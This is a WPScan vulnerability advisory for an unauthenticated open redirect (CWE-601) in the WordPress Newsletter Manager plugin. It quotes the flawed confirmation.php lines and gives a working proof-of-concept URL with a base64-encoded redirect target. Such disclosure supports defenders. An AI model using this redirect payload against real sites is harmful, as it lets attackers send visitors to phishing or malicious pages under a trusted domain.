Newsletter Manager - Unauthenticated Open Redirect



Description
In the file '/newsletter-manager/confirmation.php':

33: $xyz_em_url = base64_decode($_GET['appurl']);
179:  header("Location:".$xyz_em_url);
Proof of Concept
http://site.com/?wp_nlm=confirmation&appurl=aHR0cDovL3d3dy5nb29nbGUuY29t

will redirect to "http://www.google.com?result=failure"

Affects Plugin

References

URL https://wordpress.org/plugins/newsletter-manager/

Classification

Type REDIRECT
OWASP Top 10 A10: Unvalidated Redirects and Forwards
CWE CWE-601

Miscellaneous

Original Researcher posix
Submitter posix
Views 2677
Verified Yes
WPVDB ID 9281

Timeline

Publicly Published 2019-05-18 (about 1 month ago)
Added 2019-05-21 (29 days ago)
Last Updated 2019-06-03 (16 days ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.